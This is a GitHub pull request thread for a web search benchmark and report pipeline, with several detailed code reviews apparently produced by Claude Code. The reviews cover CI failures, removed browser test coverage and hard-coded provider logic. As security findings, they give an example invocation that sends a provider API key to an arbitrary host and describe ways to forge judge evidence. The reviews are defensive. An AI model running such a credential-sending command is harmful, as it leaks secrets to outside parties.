[lanyue-llk]

Summary

Add a maintained Web Search execution and report pipeline using the independent LexBench Web Search benchmark with three selected provider configurations and five requested results per query. Keep the complete 149-query scenario benchmark separate from the qualified factual retrieval diagnostic. Frozen four-grade relevance labels feed per-query and aggregate ranking scores; deterministic factual checks measure source discovery and delivered answer text. Preserve original calls, responses, timings and costs.

The report leads with comparable results, defines the scoring, and provides complete same-query outputs, full summaries, evidence, filters and pagination. Report prose and measured artifacts stay outside Git, with versioned path/hash bindings. Shared language selection uses English fallback, explicit/environment overrides and saved-language preservation; agent delivery follows the conversation language.

Benchmark ownership

Move the task definitions, source attribution, reference qualifications, four-grade rubric and deterministic scorers to lexmount/lexbench-websearch#1. Install its immutable Git commit; remove the duplicated definitions, scoring modules and retired import command here. Browser Eval keeps provider execution, annotation orchestration, timing/billing, audit and publication. Compact execution profiles resolve hash-bound benchmark fields and reproduce both historical collection-profile hashes exactly.

The independent package has English code/guides, complete per-case source attribution and upstream license notices, and no runtime dependencies or measured outputs. Distinguish the 7 traceable community originals from 28 unattributed screenshot transcriptions in the report.

Latest review fixes

• Keep reviewer credentials in a temporary runtime outside retained evidence, remove stale copied credentials, isolate HOME, and clean up after successful or failed processes. Request JSON CLI events and retain requested/observed model information without claiming third-party attestation.
• Reject unsupported billing policies before network access. Retain and retry malformed/business-error responses even when nonempty-result billing also needs the provider response transform.
• Prevent failure-only review from changing the quality denominator. Remove hard-coded Codex wording from generic review coverage and assessment metadata.
• Use the existing shared publisher for transport, input/archive revalidation, sharing, operation recovery and journal cleanup. Test recovery after remote commit succeeds but its response is lost, including restart after publication succeeds but local binding is unfinished.
• Preserve historical correction bindings and superseded-call provenance. Separate reference-level dispositions from findings so repeated output issues are not counted as excluded questions. Derive publication titles from the selected report.
• Use the configured result budget in factual details while preserving historical measured metric fields. Check factual analysis on the page that owns it; reject changed non-synthetic builds without a matching publication plan.
• Exercise actual Moli success/failure result pages and evidence buttons. Switch themes through each renderer’s real control and verify effective backgrounds. Keep generated Browser Use, Replay and WCXB interactions, keyboard return, hosted navigation and filter shrink tests.

Review decisions

Do not restore an “831-query official score”: this is an adapted retrieval diagnostic, not official SimpleQA answer grading. The reviewed population is explicitly described as qualified after collection, with original calls retained. Do not restore unsolicited English navigation or repeat remote viewport/theme tours. The number of presentation conditionals alone does not justify another renderer refactor. Keep immutable measured profiles and pinned historical review opinions; operator-controlled evidence is not represented as independently signed execution proof. Do not invent a copyright notice absent from the pinned source.

Validation

• The extraction additionally passes 52 benchmark tests, installed-wheel checks and Python 3.11–3.14 CI; 502 Browser Eval tests and 78 subtests pass after rebasing onto main, including the new source-attribution regression, Web Fetch dependency binding, method registry and WCXB checks.
• 653 tests and 31 subtests previously passed across Search, shared publication and affected report tracks; lint and diff checks passed.
• Eight generated top-level pages inspected locally; lossless package and publication-plan checks passed.
• All 2,940 logical results exactly match the preceding report; no new paid provider or judge calls.

Report: https://artifact-site.lexmount.cn/s/W3MxzlJuPRl6

[lanyue-llk]

Review summary

This PR does three different things in one +29k/−1.2k change:

1. It adds a new Web Search track: harness, renderer, model relevance judge, profiles and a vendored dataset.
2. It changes the report language default (BROWSER_EVAL_REPORT_LANGUAGE, read from .env) for every report track.
3. It removes most interaction coverage from the browser release checks for WCXB, Browser Use, Trajectory Replay and Moli, and rewrites AGENTS.md and the report skill to allow that.

Please split these into separate PRs. Items 2 and 3 change cross-track contracts. They deserve a focused review and should not ride along with a new benchmark.

CI is red on this head (1b9b7998): make ci → package-check fails with ModuleNotFoundError: No module named 'dotenv' (see B1). The description says validation passed, but that was not on a base install.

---

Blockers

B1. The base install crashes on every report build (harness/report_languages.py:20)

• configured_report_language() imports dotenv. python-dotenv is only in the webmainbench-eval/browser-use-eval extras, not in [project].dependencies; I checked the uv.lock closure.
• I reproduced it: uv sync --frozen with no extras, then browser-harness-eval run --delay 0, gives a ModuleNotFoundError traceback.
• That is the README Quickstart path, and the same failure breaks CI package-check.
• In web_fetch/cli.py:54 the language is resolved only after run_evaluation(). Any language failure therefore happens after the provider calls have been made and paid for. That includes this import error and an invalid BROWSER_EVAL_REPORT_LANGUAGE=fr. test_unsupported_language_fails_before_calls_or_output only covers --language, not the env path.
• Suggested fix:
  • Do not read .env in the language resolver at all. Process env plus --language is enough, and AGENTS.md already reserves .env for evaluation credentials.
  • Resolve and validate the language before any provider call.

B2. CI no longer tests the base install or the declared Python range (.github/workflows/ci.yml)

• This PR deletes the base-python job, which ran the portable CLI tests on 3.12/3.13/3.14 without extras.
• pyproject.toml still declares requires-python = ">=3.11", and the README now says "3.11 or newer is required".
• The remaining job uses --all-extras, which is why B1 was not caught until package-check.
• Either restore the job (at least one base install, no extras), or narrow requires-python.

B3. Release-check interaction coverage removed with no replacement; AGENTS.md now contradicts itself

• What was deleted:
  • WCXB (wcxb_report_check.py): sort, filter, diagnosis-dialog Escape/focus return, nested result→root navigation, frozen preview, case evidence loading, English not-generated notice.
  • Browser Use (report_visual.py): success/failure detail routes, evidence-viewer loading, diagnosis dialog keyboard.
  • Trajectory Replay (webarena_report_visual.py): Sites-style tokenized /api/preview/... nested navigation, step dialog at 390px, evidence viewer.
  • Moli (ui_check.js): fixed/result detail routes, tokenized-preview English entry, call-count negative control.
• The new text says "deterministic generation-time behavior tests" own filters, dialogs and evidence loading. No such tests were added. The test diffs only adapt assertions to the reduced scope.
• These AGENTS.md rules are still present and now contradict the new bullets:
  • L37: "operate a success detail and a failure detail end to end … close with keyboard … return through hosted navigation"
  • L46: WCXB default filter / filtered tables must shrink
  • L67: "Trajectory Replay release checks exercise Sites-style tokenized preview navigation … local relative-link checks alone do not prove hosted drilldown works"
• tests/test_moli_report_render_contract.py::test_release_reader_pass_has_no_viewport_or_theme_matrix asserts that the source does not contain for (let width. That tests private structure, which AGENTS.md explicitly forbids.
• If slow release checks are the real problem, move the interaction checks into fast deterministic tests first, then remove the browser tours. Do that in a separate PR.

---

Major: Web Search track

Ownership and data in Git

1. Vendored upstream dataset (evaluation/web-search/simpleqa-verified.json, 15k lines)
   • It copies 831 of the 1,000 upstream rows (question, answer, URLs, topic).
   • reference_artifacts already pins the HF CSV by URL+sha256, so the cases can be compiled from that frozen input plus a compact ID/rule selection.
   • NOTICE.txt only says the dataset card "declares the MIT license". It is missing the copyright and permission text that MIT requires for copies.
   • Separately: Web Fetch task populations and scoring were just moved to lexmount/lexbench-webfetch. Please state explicitly whether Web Search task definitions and scoring should live in a LexBench package as well, before 15k lines of definitions land here.
2. The SimpleQA profile builder cannot reproduce the committed profile (harness/web_search/simpleqa.py:58-100, scripts/build_simpleqa_search_profile.py)
   • The builder produces a 500-row random sample with 3 methods. The bound profile has 831 length-filtered rows and 5 methods.
   • Its cohort_revision.reason ("Replace the length-filtered 831-query cohort…") contradicts the publication and the NOTICE.
   • It also never hashes csv_bytes. It hard-codes source_sha256 and population: 1000 regardless of the CSV it was given.
   • So the current stage has no generator, and the generator that exists produces nothing current.
3. Duplicate profiles and an unclear authority
   • current-report.json and search-api-modes.json have byte-identical 149-case lists.
   • publication-target.json binds search-api-modes.json as primary_profile. Yet runner.py:393, report.py:1673, example.py and configs/report-templates.json all default to current-report.json, which has a different method set and a stale publication.expected_version (ver_cd19…, where the target says ver_7444…).
   • assets.json points at 20261020-v1 content that the target no longer binds.
   • Nothing in harness/ or scripts/ reads publication-target.json, assets.json or relevance-sample.json.
   • relevance-sample.json (a 30-case sample where "unclear is unjudged") also contradicts the code, which requires scope == "all_custom" with every candidate graded.
   • Please keep one case definition with method sets selected by data, one publication target, and enforce it in a release/publish check.

Correctness

4. Resume never checks the current code (runner.py:130-132)
   • Implementation hashes are compared only against the copies saved under <output>/implementation/, never against the live harness/web_search/*.py.
   • So you can change normalize/evaluate after an interruption, --resume, and get a mixed-code matrix that is still marked certified.
5. The "lossless" evidence export breaks on real bytes (delivery.py)
   • Evidence is packed as text and then compared with read_bytes().
   • A CRLF provider body makes export() raise "Packed evidence changed". A non-UTF-8 body raises UnicodeDecodeError.
   • Raw provider bytes are written verbatim by the runner, so both cases are reachable. Pack bytes (e.g. base64) and compare bytes.
6. The saved report language is lost on rebuild (report.py:1735)
   • build() records primary_language in manifest.json. resolve_report_language reads only report-languages.json/report-manifest.json.
   • So rebuilding a zh-primary report without --language silently produces an en-primary report.
   • The --reference-content path (report.py:1721-1723) reads manifest.json by hand, which gives two resolution rules in one file.
   • A zh-only build also has no English not-generated notice: write_language_contract/english_notice are unused. Use the shared language contract.
7. Correction provenance is not resolved (scoring.py:9-12,57-59)
   • apply_identity_correction only checks that root_cause/regression_ids are truthy.
   • The four IDs in identity-correction.json (verified-equivalent-url-hits, …) match no test or registry, and there is no evaluation/scoring-regressions.json.
   • AGENTS.md requires paired executable controls bound by ID. Resolve the IDs and fail on unknown ones.
8. Model judge (relevance.py)
   • :275 os.environ[args.token_env] never loads the repository .env, unlike runner.py. Following .env.example therefore gives a KeyError. --token-env can also name any env var and send it to any --base-url.
   • Invalid responses are renamed by content hash. A different invalid response each time never trips the repeat guard, so reruns re-call until one parses.
   • Invalid attempts are missing from the final evidence. A 200 response with a non-JSON body raises before its bytes are saved.
   • A 4xx (HTTPError) is retried like a transport error.
   • These violate "retain every physical call". Save raw bytes first, record every attempt, cap retries, and don't retry 4xx.
   • Evidence validation is weak:
     • Free-form evidence passes if it is any substring of the candidate, even one character.
     • validate_model_evidence checks max_tokens/extra_params only when the self-declared configuration contains them.
     • base_url, response_format and packet_sha256 are never compared.
     • For human judges, query/title/snippet text is never compared with the frozen packet.
9. Model-vs-human labelling (report.py:~2470-2493)
   • The panel renders "Human relevance labels" and is then patched with .replace() when kind == "model".
   • The English edition lacks the zh "not human gold" disclaimer.
   • Per-case relevance sections show only the judge name.
   • The banner still says "no independent relevance review" when relevance data is present.
   • check() compares against the same function's output, so it cannot catch a regression. Branch on judge.kind at render time and add a negative control.

Presentation and release gate

10. The shared presentation checks are not used
    • harness.reporting.presentation.check_presentation is never imported, and winner highlighting is hand-written in 4 places (report.py:554-577, 2355-2377, 2516, 2990-3011).
    • In the factual panel (i != 2), MRR is never highlighted.
    • In the core table, one None suppresses the whole column instead of staying neutral.
    • Only the home table is checked. AGENTS.md requires presentation checks with negative controls for new renderers.
11. The visual release receipt is self-asserted
    • release_check accepts a JSON of (lang, route, 1280, "light") entries with self-reported readable/page_overflow fields.
    • No tool in the repo produces it, and it binds no checker source hash (compare reporting.visual.receipt_is_current).
    • A hand-written receipt passes. Build it on harness/reporting/visual.py like the other tracks.
12. Report-specific prose is hard-coded in the renderer
    • Examples:
      • prices checked 2026-10-20: "DeepSeek: CNY 5 per 1,000…", "Lexmount has no announced price";
      • "Bocha AI Search is a distinct answer-generating endpoint";
      • "三家基础接口" ("three basic APIs").
    • See report.py:608, 643, 2305, 2387, 2423, 2521.
    • Prices belong in research/provider-pricing.json, and prose belongs in bound report assets.
13. --reference-content is a second renderer under the same CLI (report.py:1514-1667)
    • It has its own skeleton, nav, theme script, language switch, manifest schema and checks, and shares only STYLE/table.
    • This conflicts with "one report implementation per track". Either fold it into page()/check() as authored sections, or register it properly.
14. report.py is 3,070 lines
    • build() is about 830 lines and check() about 380.
    • Layout switches on authored.get("presentation") == "comparison-report" in 13 places.
    • Please split it into page modules plus a shared check, and select the layout through data.

---

Minor

• .env.example declares BOCHA_API_KEY and SEARCH_JUDGE_API_KEY twice (L13/L84 and L15/L86).
• runner.py:133-139 hand-rolls JSONL tail recovery instead of using record_io.read_completed_records. It also accepts a corrupt newline-terminated last record, which the shared helper rejects.
• core.py: digest/write_json duplicate record_io.file_sha256 and reporting.publication.atomic_write. write_json is non-atomic and returns path.name, which loses the directory.
• runner.py: the curl subprocess.run(timeout=…) raises TimeoutExpired, which is not caught. One hung call therefore aborts the matrix instead of being recorded as a transport failure.
• comparison.py:43-55: outcome_relation is used only by tests. The page JS reimplements it, so the tests protect code that never runs in the UI.
• answer_rules.py:10: RULE_VERSION = "reference-answer-evidence/1" is never used. Scoring keys on the literal "published-answers/2" in core.py/scoring.py.
• web_fetch/certification.py:111: the web-search dispatch skips certification admission and doesn't reject --diagnostic. It also makes the Web Fetch certification module depend on Web Search. A small track registry or a dedicated thin entry point would be cleaner.
• report.py:563: "Nonempty / queries" uses the call count across rounds as the denominator.
• report.py:111-129: the userinfo-redaction regex can match ?x=u@b. Billing is recomputed at render time rather than via a recorded correction. assert is used for validation.
• lexbench/report.py: the Moli build default flips from zh-only to English-primary bilingual. Please call this out as a behavior change.

What looks good

• nDCG@5 (pooled ideal, duplicates scored 0), P@5 and Success@5 are correct, and empty/all-zero pools stay in the denominator.
• Mean/P50/P95 share one population and reuse lexbench_webfetch.metrics.percentile.
• The scripts/ entry points are thin.
• evaluation/web-search/*.json contains no raw provider responses or run-local manifests.
• tests/web_search passes locally (148 tests), apart from the base-install issue above.

🤖 Generated with Claude Code

[lanyue-llk]

Follow-up review: full pass at 055b9c62, rechecked at ddccf0cb

The PR is still not mergeable. Some earlier issues are fixed, but many are only partly fixed, and the new code adds problems.

CI is red at ddccf0cb (run 39716922385). Two of this PR's own tests fail:

• tests/web_search/test_comparison.py::test_benchmark_and_task_type_filters_are_separate
• tests/web_search/test_report_selection.py::test_reference_quarantine_is_common_and_never_removes_latency_or_cost

febfbbb4 fixed the previous CI failure (the missing browser-use-eval extra in the final step).

---

Blockers

1. Browser checks were removed, and most have no replacement.

• Of about 41 removed browser checks (WCXB, Browser Use, Trajectory Replay, Moli), about 6 have a real replacement test. About 35 have none.
• Missing replacements include:
  • Generated success and failure detail pages.
  • The Browser Use and Replay evidence viewers.
  • The Replay step dialog, including its 390px bounds.
  • Replay dataset, matrix and metrics filters.
  • WCXB checks: core sort, page-type filter, dataset search with a table that shrinks, comparison baseline/provider, nested result → root navigation, frozen preview, case evidence loading.
  • Moli checks: detail and fixed routes; real UnknownMethod and success evidence; and five of its six DOM negative controls (call count, wrong, tied and version highlights, duplicate summary).
• No test anywhere uses a narrow viewport or the dark theme. Yet docs/architecture.md, report-and-release.md, moli_report/BUILD.md and AGENTS.md:83 now say that component tests own both.
• In the new tests/test_report_browser_interactions.py:
  • Browser Use runs the real REPORT_JS on hand-written HTML.
  • Replay uses hand-written result bodies and results.json.
  • Moli injects a synthetic trigger and log.
  • Only WCXB runs against generated pages.
• AGENTS.md:46 still requires that WCXB filtered tables shrink, and nothing checks that anymore.
• The fix commit also rewrites AGENTS.md lines 37, 67, 83 and 84 so that this reduced coverage complies. That policy change needs explicit maintainer approval in its own PR. It should not ride along with a new benchmark.

2. Web Search is hard-coded to this report instance; it is not a reusable pipeline.

We built a test cohort with 4 different providers, 200 queries and no SimpleQA. It rendered and passed check. Its pages still said "SimpleQA Verified … kept 0", "本轮三家请求…" (three providers) and "两套评测" (two benchmarks), and the release gate did not catch it.

• Providers are code branches, not an adapter registry.
  • core.py:66-97 builds requests with if adapter == "lexmount" / in ("deepseek","bocha") / == "bocha", plus a per-provider allowed-options table.
  • core.py:100-126 parses Bocha's response shape (data.webPages.value) inline.
  • core.py:314 whitelists three adapters.
  • runner.py:275 picks the auth header with adapter == "lexmount".
  • diagnostics.py applies Lexmount's timing schema to every provider.
  • core.request_cost and report.py hard-code the billing rules.
  • Adding one provider therefore means editing 4–6 code sites. It should take one adapter declaration (request template, auth, response mapping, billing, timing extractor) referenced from profile methods.
• Top-5 is hard-wired even though protocol.top_k exists.
  • core.py:307 allows only top_k 5 or 10.
  • Literal [:5] appears in answer checking (core.py:211), relevance pooling (comparison.py) and the mirror filter (evidence_quality.py). With top_k=10 the run requests 10 results but grades only 5.
  • anchor_hit_5 if top_k == 5 else anchor_hit_10 is repeated 6 times and raises KeyError for any other value. anchor_hit_10 actually means "any rank".
  • The report has range(5) and /5 (relevance_detail), the heading "(条/5)", and about 13 "前五 / top five / @5" strings.
• Datasets are hard-coded.
  • The SimpleQA URL is a literal (report.py), and so are the panel wording and comparison.py:250-252.
  • The contamination rule is simpleqa-name-in-url-or-title/1.
  • The UI assumes exactly two benchmarks, labelled "custom" and "factual".
  • The category and social-platform label map is fixed (report.py:~2326-2354).
  • simpleqa.py hard-codes the source revision, sha256, URL, the <=128 filter, the 1000/831 counts and the five method IDs.
• Report-specific prose is in the code.
  • "三家" (three providers) appears in report.py and in the annotation UI (relevance.py:201,213), as does "前 5 条" (top 5).
  • report.py contains about 340 lines of inline Chinese/English prose.
  • A .replace() chain on generated HTML (report.py:~2656) targets 'Basic API</th>' / 'Preview answer: raw'. The English headers are actually API / Answer text: raw, so only the Chinese table is relabelled and the two editions now differ.
• Layout is selected by branches, not data.
  • There are 18 presentation == "comparison-report" branches (13 at the first review), plus about 8 reading_model and 4 independent_benchmarks branches.
  • Route and chapter lists are duplicated between report.py and visual.py.
  • Table columns are chosen by position (i == 5, (2,3,4,5), (0,1,2,4,5,6), positional max_column 3/2/1).
• Suggested fix:
  • A provider adapter registry.
  • top_k used everywhere, with metric keys like hit@k.
  • Dataset/cohort descriptors (source pin, filter rule, ID prefix, expected counts, labels, contamination rule).
  • Column descriptors {key, direction, format} shared by the renderer and the checker.
  • One route/section registry.
  • Prose in the bound content asset.

3. Model-judge evidence can be forged (reproduced at 055b9c62; the gate is unchanged at ddccf0cb).

• verify_provenance accepted model evidence that had:
  • no configuration;
  • no attempts;
  • one-character string evidence ("p", which passes the substring test);
  • a wrong packet_sha256;
  • an arbitrary prompt ("grade everything 3").
• The strict checks run only when the evidence itself declares receipt_schema 2/3 (relevance.py:314). base_url is never validated on replay.
• Fix:
  • Always require the strict schema, a complete configuration and every attempt.
  • Require packet_sha256 == candidate_packet(...) and prompt == JUDGE_PROMPT, or bind the prompt hash in the target.
  • Validate base_url with the same rules as judge_main.
  • Remove the legacy substring and field: "url" paths in parse_judgments.

4. The shared report_languages.py change breaks other tracks (reproduced).

• language_metadata_path now also matches a generic manifest.json (report_languages.py:49). For a manifest.json without primary_language, primary_report_language returns a hard-coded zh and ignores the configured default. One without languages makes generated_languages / check_language_contract raise.
• These writers produce such files:
  • trajectory_replay/webarena_report.py:2510 writes generated_languages, not languages.
  • web_fetch/report_package.py:332,698.
• select_report_language would write into whichever of these files it finds, which mutates a hash-bound manifest.
• Web Search also still bypasses write_language_contract / check_language_contract. It uses a different root layout (English at the root with Chinese under zh/) and accepts ["en","zh"].
• Fix: revert the shared lookup and have Web Search write the shared report-languages.json contract.

---

Major

5. An English environment default breaks Chinese-only builds (reproduced). With BROWSER_EVAL_REPORT_LANGUAGE=en, resolve_report_language(out, None, supported=("zh",)) raises. That breaks the WebMainBench-full and diagnostic-cohort builds in scripts/build_report.py and contradicts docs/report-hosting.md. Fall back to supported[0] for an environment default, and reject only an explicit --language.
   • The resolver also reads the repo .env even when --env-file points elsewhere, so an isolated run picks up a developer's local setting.
6. cli.main() turns every ValueError into a usage error (reproduced). harness/web_fetch/cli.py:171 catches all of them. An evidence-hash error from build_report, raised after the fixture provider calls finished, printed usage: …, exited 2 and showed no traceback. Raise a dedicated configuration error for the language check and catch only that.
7. The release gate accepts uncertified builds. publication_authority is skipped when receipt.certified is false. The target's content, relevance, report_manifest, visual_acceptance and delivery_index bindings, and its case and result counts, are never compared with the build. There is still no Web Search publish entry point.
8. A build fails its own check (reproduced). Use a profile whose methods have paired output_options and supply no reading content. check then compares index.html against mode_panel, but build renders mode_panel only in the reading-model speed chapter. The result is ValueError: Deterministic evidence comparison differs….
9. Presentation checks are only half wired. check_presentation runs on every route, but no page emits data-report-detail, so the detail-page checks never run. The negative controls cover highlights only. They don't cover duplicate summaries, broken evidence targets or missing failure logs, which AGENTS.md:36 requires. A hand-written winner check (report.py:~1531) still duplicates the shared one.
10. The correction controls are weak (reproduced with mutations).
    • In evaluation/web-search/scoring-regressions.json, annotations-preserve-calls is byte-identical to verified-equivalent-url-hits. It tests neither annotations nor call preservation.
    • Weakening _qualified to bool(anchors and sources), or _equivalent to raw equality, still passes the whole registry.
    • Its schema is separate from the shared evaluation/scoring-regressions.json / score_attempt contract.
11. The supplementary SimpleQA cohort can't be rerun under the current selection.
    • load_profile_bytes narrows only the primary profile to the 3 selected methods.
    • publication_authority accepts the narrowed hash only for primary.
    • A SimpleQA rerun must therefore call 2 unselected methods × 831 queries, or the release is rejected.
12. The certified entry point accepts --diagnostic. certification.py:111 forwards web-search unchanged, and test_runner.py:368 now asserts that a diagnostic run succeeds through it. Reject --diagnostic there, and move the dispatch to a track-neutral entry point.
13. The upstream dataset is still vendored.
    • simpleqa-verified.json keeps all 831 copied rows (15k lines).
    • rebuild_profile requires template["cases"] == computed, so the builder can only echo the existing file, and its success path has no test.
    • Its copied metadata contradicts itself ("Expand from 24 to 120…", "All 149 queries…", "two-method, 24-query, three-round").
    • The SimpleQA MIT notice lacks the copyright line (NOTICE.txt:44).
14. Still open from the first review:
    • --reference-content (build_reference / check_reference) is still a second renderer.
    • answer_rules.RULE_VERSION ≠ the literal "published-answers/2", which is repeated in core.py, scoring.py and report.py.
    • Per-case pages don't say whether a grade came from a model or a human. comparison.py defaults grade_source to "model" even for human labels and never renders it.
    • --token-env accepts any name. --token-env LEXMOUNT_SEARCH_API_KEY --base-url https://any.host sends a provider key from .env to an arbitrary host.
    • Billing is recomputed and evidence hashes are rewritten at render time (public_calls). apply_report_revision takes a scoring revision from reader content outside Git.
15. New at ddccf0cb: harness/web_search/review.py (1,047 lines) adds a third model-review pipeline.
    • It sits next to the relevance judge and the scoring corrections.
    • It drives the codex CLI by subprocess or "codex-app-subagent".
    • It brings its own sha and atomic save helpers: one more copy of record_io.file_sha256 / reporting.publication.atomic_write.
    • Please explain why it can't share the relevance judge's receipt and attempt-journal model.
    • AGENTS.md says independent review starts only on explicit instruction and publishes its exact reviewed/total scope. The release binding should enforce that, not just the README.
    • I have not reviewed this module in depth.

Minor

• Resume errors:
  • A missing references-before.json or results.jsonl raises FileNotFoundError with a traceback. When results.jsonl is missing, resume first makes live reference requests.
  • A stale interruption.json is neither archived nor bound.
• comparison.py:146-147 crash: an unlabelled candidate in a labelled case has grade=None, so x["grade"] >= 2 raises TypeError.
• Duplicated candidate-ID formula: sha256(case_id + "\0" + canonical_url(url))[:12] appears 7 times across comparison.py and relevance.py.
• Duplicated helpers: core.digest / write_json duplicate shared helpers, and write_json returns path.name.
• Encoding: results.jsonl is written without an explicit encoding (runner.py:201,344).
• Synthetic example: example.py depends on the live current selection. It should be self-contained.
• Overview denominator: "Nonempty / queries" uses the call count across rounds.
• Userinfo redaction: the regex over-matches comma-joined text, e.g. https://example.org,email:info@example.org.
• CI coverage: Python 3.12–3.14 are untested while requires-python = ">=3.11".
• Stale guidance: .agents/skills/benchmark-editorial/references/html-delivery.md:7 still says "Chinese by default". The README row "English edition when explicitly requested" is wrong now that English is the fallback.
• Dead code and lost messages:
  • viewerError:false in webarena_report_visual.py:262 is never actually set.
  • The reference-receipt branch of release_check has no producer, and it resolves capture["path"] relative to the working directory.
  • A WCXB guide-image failure now raises a raw Playwright error that doesn't name the image.
• Unrelated changes: the applySort rewrite in browser_use/report.py and the RemoteDisconnected retry in publication.py.

Fixed since the first review

• python-dotenv is now a base dependency, and CI checks a base install.
• The report language is resolved before any provider call.
• Resume now checks the live code against the run's saved hashes.
• Evidence is packed as bytes (base64), so CRLF and non-UTF-8 files export.
• Correction IDs resolve against a registry.
• The duplicate profiles, assets.json and relevance-sample.json are gone, and the defaults match the publication target.
• The shared JSONL reader and curl timeout handling are in place.
• The judge keeps every physical attempt and no longer retries 4xx responses.
• The Web Search visual receipt is built on harness/reporting/visual.py and binds the checker sources.
• There is one winner-highlight helper, None values stay neutral, and the factual table's MRR column is highlighted.
• The hard-coded "169 of 1,000" text is gone.
• The .env.example duplicates and the Moli private-structure test were removed.
• The final CI step now installs the replay dependencies.

Recommendation

1. Split out the release-check policy change and the shared language change into their own PRs.
2. Restore the browser interaction coverage until real replacement tests exist.
3. Rework Web Search into a data-driven pipeline (adapters, top_k, dataset descriptors, a section registry) before more cohorts or report layouts are added on top of it.

🤖 Generated with Claude Code

[lanyue-llk]

Full review at d8c35e41

This is a complete pass over the current head. Every inline comment below is a verified finding, ranked by severity in the comment title. Findings marked "Reproduced" were confirmed with a script. CI passes on this head (run 39727602091), and the local tests/web_search suite passes. Not mergeable yet.

Blockers

1. Model review changes official scores. Cases quarantined by Codex review plus a hand-written adjudication are removed from the official factual denominator (831 → 775). This is not shown as a labelled post-hoc diagnostic next to unchanged official scores. See review.py:715.
2. Review and judge evidence can be forged.
   • validate_public_review only compares the evidence with its own hash. A fully fabricated review passes (review.py:806).
   • Model-judge evidence is strictly validated only when the evidence itself opts in. A forged file with no configuration, no attempts, one-character evidence, a wrong packet hash and an arbitrary prompt is accepted (relevance.py:314). Reproduced at this head.
3. Credential exposure.
   • --token-env can send any .env secret (e.g. LEXMOUNT_SEARCH_API_KEY) to any HTTPS host (relevance.py:453).
   • The Codex reviewer gets untrusted provider content together with full filesystem read access, the inherited environment and live web search (review.py:573).
4. Browser release coverage was removed with no replacement, and AGENTS.md was rewritten to allow it.
   • About 35 of about 41 removed checks have no replacement test: success and failure detail pages, the evidence viewers, the Replay step dialog, WCXB sort/filter/shrink, Moli negative controls, and more.
   • No narrow-width or dark-theme test exists, yet the docs now say component tests own both.
   • The replacement tests mostly drive hand-written HTML rather than generated reports.
   • The policy change belongs in its own PR with explicit maintainer sign-off.
5. The shared report_languages.py change breaks other tracks. Any manifest.json is now treated as language metadata. Replay's and the packaged reports' manifests then resolve to zh and make the contract checks raise (report_languages.py:49).

Hard-coding to this report instance (the main architectural problem)

Web Search is not yet a reusable pipeline:

• Providers are if adapter == ... branches. This covers request building, Bocha response parsing, the 3-adapter whitelist, auth headers, billing and the Lexmount timing schema. Adding one provider means editing 4–6 places in code.
• top_k is defined but not used. Top-5 is hard-wired as literal [:5] slices, range(5), /5 and anchor_hit_5, and top_k is limited to 5 or 10.
• SimpleQA and a two-benchmark layout are written into code and text.
• Text written for this cohort appears elsewhere. "三家" (three providers) and "两套评测" (two benchmarks) are hard-coded. A 4-provider, 200-query cohort with no SimpleQA cases builds and passes check(), yet its pages say "SimpleQA Verified … 0", "三家" and "两套评测".
• Layout branching keeps growing. There are now 25 presentation == "comparison-report" branches (13 → 18 → 25 across revisions), plus about 12 other layout flags. Route lists are duplicated in visual.py.

Needed: a provider adapter registry, top_k used everywhere, dataset/cohort descriptors, a page/section registry shared by build()/check()/visual, and text in the bound content asset.

Other major issues

• Release gate: it skips the publication-target authority for uncertified builds and never verifies the target's content, relevance, review, visual or delivery hashes or its counts.
• Self-check failure: a profile with paired output modes and no reading content fails its own check().
• Presentation checks: the detail-page half never runs.
• Missing disclosures: the quality page no longer says whether a model or a person graded, or what was graded. The reviewed/total scope isn't visible text.
• Language: Chinese-only comparison reports lost the English not-generated notice link. Web Search still bypasses the shared language contract. An English environment default breaks the Chinese-only builders.
• Review module: a bilingual build with --review fails check() because of a broken independent-review.json link. review.py is a third model-review pipeline with its own helpers. It hard-wires full-matrix scope (AGENTS.md defaults to failures only, on explicit instruction), and its default model ID is a placeholder.
• CLI: cli.main() turns integrity ValueErrors raised after provider calls into usage errors.
• Scoring and correction controls: a duplicated regression control, unprotected predicate branches, and two inconsistent task-result predicates.
• SimpleQA cohort: it can't be rerun under the current selection without calling deselected providers.
• Certified entry: it accepts --diagnostic.
• Upstream data: 831 upstream rows are vendored, and the profile builder can only echo the existing file.
• Reader content: content outside Git can change measured outcomes through assessment_revision.

Fixed since the previous review

• CI is green, and the base install and replay dependencies are covered.
• The report language is resolved before any provider call, and --env-file is honoured.
• Resume now checks the live code against the run's saved hashes.
• Evidence is packed as bytes (base64), so CRLF and non-UTF-8 files export.
• Correction IDs resolve to executed controls, and removing the text_sha256 branch is now caught.
• The duplicate profiles, assets.json and relevance-sample.json are gone.
• The judge keeps every physical attempt and no longer retries 4xx.
• The Web Search visual receipt binds its producer sources.
• There is one winner helper, None stays neutral, and MRR is highlighted.
• Replay tokenized nested navigation has a component test.
• The .env.example duplicates and the Moli private-structure test were removed.

Recommendation

Split this PR into three:

1. The Web Search track.
2. The shared language default.
3. The release-check policy change, with real replacement tests first.

Before more cohorts or report layouts are built on Web Search, make it data-driven: adapter registry, top_k, dataset descriptors and a section registry. Also fix the evidence-forgery and credential issues.

---

Findings in files GitHub cannot annotate inline

GitHub does not render the diff for harness/web_search/report.py (3,411 lines) or evaluation/web-search/simpleqa-verified.json (15,058 lines), so these findings are listed here with their line numbers at d8c35e41.

[major] harness/web_search/report.py:355 — Web Search still bypasses the shared language contract and uses a different root layout

_check_report_languages/_language_notice re-implement the contract instead of calling write_language_contract, select_report_language or check_language_contract. The layout also differs. An English-primary build puts English at the root and Chinese under zh/, while the shared contract keeps Chinese at the root, English under en/ and a redirect at the root. Shared tooling (localized_report_routes, select_report_language, the tokenized-preview checks) therefore can't validate this report. Emit the shared layout and metadata, and call check_language_contract from check().

[major] harness/web_search/report.py:438 — Reader content outside Git can change measured outcomes

apply_report_revision runs on authored['assessment_revision'], which comes from the --content reader-prose file that by contract lives outside Git. It rewrites the profile and rows before scoring. public_calls also recomputes billing and rewrites evidence sha256 bindings at render time. Scoring and billing corrections belong in hash-bound revision receipts with scoring-regression provenance, not in renderer inputs. Accept assessment revisions only through a versioned, regression-bound receipt (like --identity-correction), and move billing correction to collection or aggregation time.

[major] harness/web_search/report.py:532 — Layout branching keeps growing: 25 `comparison-report` branches now

Comparisons against the comparison-report literal went from 13 to 18 to 25 across the revisions. There are also about 12 reading_model/independent_benchmarks branches, many duplicated between build() and check() (nav, routes, authored sections, performance, cohort summary). visual.py hard-codes a third copy of the route lists. In effect this is several renderers in one 3,000+ line file. Declare the page/route/section registry once per presentation as data, and have build(), check() and visual.routes() consume it.

